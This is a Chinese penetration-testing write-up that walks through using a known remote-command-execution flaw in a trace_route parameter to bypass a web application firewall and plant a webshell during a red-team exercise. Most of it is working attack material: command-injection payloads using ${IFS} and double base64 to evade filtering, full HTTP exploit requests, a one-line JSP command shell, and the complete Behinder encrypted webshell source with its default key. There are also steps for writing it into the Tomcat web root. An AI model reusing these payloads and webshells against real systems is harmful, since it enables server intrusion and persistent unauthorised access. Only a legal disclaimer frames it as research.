文章总结: 这篇文章详细介绍了在一次攻防演练中如何利用历史RCE漏洞绕过WAF获取webshell的过程。作者通过使用${IFS}代替空格、base64编码绕过>符号过滤、双重base64编码等技术手段,成功绕过了WAF的防护。在遇到webshell长度限制时,先写入回显小马再通过小马写入冰蝎webshell。文章还解决了base64编码中+符号被URL参数解析为空格的问题。这些技术对安全研究人员和渗透测试人员具有实用价值。 综合评分: 91 文章分类: 渗透测试,漏洞分析,WEB安全,红队,应急响应
一次攻防演练中RCE绕过waf获取webshell
原创
c0offee
生姜701
2025年12月13日 11:54 安徽
本公众号提供的信息仅限于法律允许的范围内,用户应遵守相关法律法规,不得将本公众号提供的信息用于非法目的。本公众号不对其提供的技术及信息的有效性、准确性、可靠性、完整性和及时性作任何形式的保证。本公众号及与公众号相关的所有作者不为此承担任何责任,造成一切后果请自行承担!如有侵权行为烦请告知,我们立即删除并予以诚挚的道歉!
首先历史漏洞RCE
可以执行whoami,ls,执行ls -l失败,发现过滤空格
${IFS} # 内置变量代替空格 绕过空格过滤
尝试echo文件到web根目录,发现过滤>符号
base64编码执行whoami(d2hvYW1p是whoami的base64编码)
method=trace_route&w=1&ip=127.0.0.1|echo${IFS}d2hvYW1p|base64${IFS}-d|bash;&m=10
双重base64编码绕过>过滤
POST /iam/synRequest.do;.login.jsp HTTP/1.1
Host:
User-Agent: Moziilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 136
method=trace_route&w=1&ip=127.0.0.1|echo${IFS}ZWNobyBNUT09ID4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvMTIuanNw|base64${IFS}-d|bash;&m=10
ZWNobyBNUT09ID4vdXNyL2xvY2FsL3RvbWNhdC93ZWJhcHBzL1JPT1QvMTIuanNw
成功写入文件
对12.jsp进行base64解码
base64${IFS}-d${IFS}/usr/local/tomcat/webapps/ROOT/12.jsp${IFS}>${IFS}/usr/local/tomcat/webapps/ROOT/13.jsp
成功解码
尝试写入webshell,发现存在长度限制
通过写入回显小马绕过长度限制
<%String[]c={"/bin/sh","-c",request.getParameter("c")};Process p=Runtime.getRuntime().exec(c);java.io.InputStream i=p.getInputStream();int d;while((d=i.read())!=-1)out.print((char)d);%>
通过小马写入冰蝎webshell
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
class UextendsClassLoader{
U(ClassLoader c) {
super(c);
}
publicClassg(byte []b) {
returnsuper.defineClass(b,0,b.length);
}
}%><%
if(request.getMethod().equals("POST")){
Stringk="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipherc=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
newU(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}
%>
base64编码写入
GET /o12.jsp?c=echo%20PCVAcGFnZSBpbXBvcnQ9ImphdmEuaW8uKixqYXZheC5jcnlwdG8uKixqYXZheC5jcnlwdG8uc3BlYy4qIiU+PCUhY2xhc3MgVSBleHRlbmRzIENsYXNzTG9hZGVye1UoQ2xhc3NMb2FkZXIgYyl7c3VwZXIoYyk7fXB1YmxpYyBDbGFzcyBnKGJ5dGVbXSBiKXtyZXR1cm4gc3VwZXIuZGVmaW5lQ2xhc3MoYiwwLGIubGVuZ3RoKTt9fSU+PCVTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7aWYocmVxdWVzdC5nZXRNZXRob2QoKS5lcXVhbHMoIlBPU1QiKSl7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KTt9ZWxzZSBpZihyZXF1ZXN0LmdldFBhcmFtZXRlcigiZiIpIT1udWxsKXtyZXNwb25zZS5yZXNldCgpO3Jlc3BvbnNlLnNldENvbnRlbnRUeXBlKCJhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTtyZXNwb25zZS5zZXRIZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb24iLCJhdHRhY2htZW50O2ZpbGVuYW1lPSIrbmV3IEZpbGUocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImYiKSkuZ2V0TmFtZSgpKTtPdXRwdXRTdHJlYW0gbz1yZXNwb25zZS5nZXRPdXRwdXRTdHJlYW0oKTtJbnB1dFN0cmVhbSBpbj1uZXcgRmlsZUlucHV0U3RyZWFtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJmIikpO2J5dGVbXWI9bmV3IGJ5dGVbNDA5Nl07aW50IGw7d2hpbGUoKGw9aW4ucmVhZChiKSk+MClvLndyaXRlKGIsMCxsKTtpbi5jbG9zZSgpO28uY2xvc2UoKTt9JT4=%3E%2058.txt HTTP/1.1
Host:
Cookie: JSESSIONID=8AAF43AB1BB6FEF920EAD71A3F3B7F7E
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: close
解码发现存在乱码
经过检查发现Base64 里出现+时,URL参数会把+当成空格处理,结果服务端收到的就是空格,少了+符号,所以解码为乱码,把+换成%2B即可。
写入的文件成功解码
对webshell进行解密还原
base64%20-d%2056.txt%20%3E%20%2Fusr%2Flocal%2Ftomcat%2Fwebapps%2FROOT%2F66.jsp
成功获取webshell
查看原文:《一次攻防演练中RCE绕过waf获取webshell》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论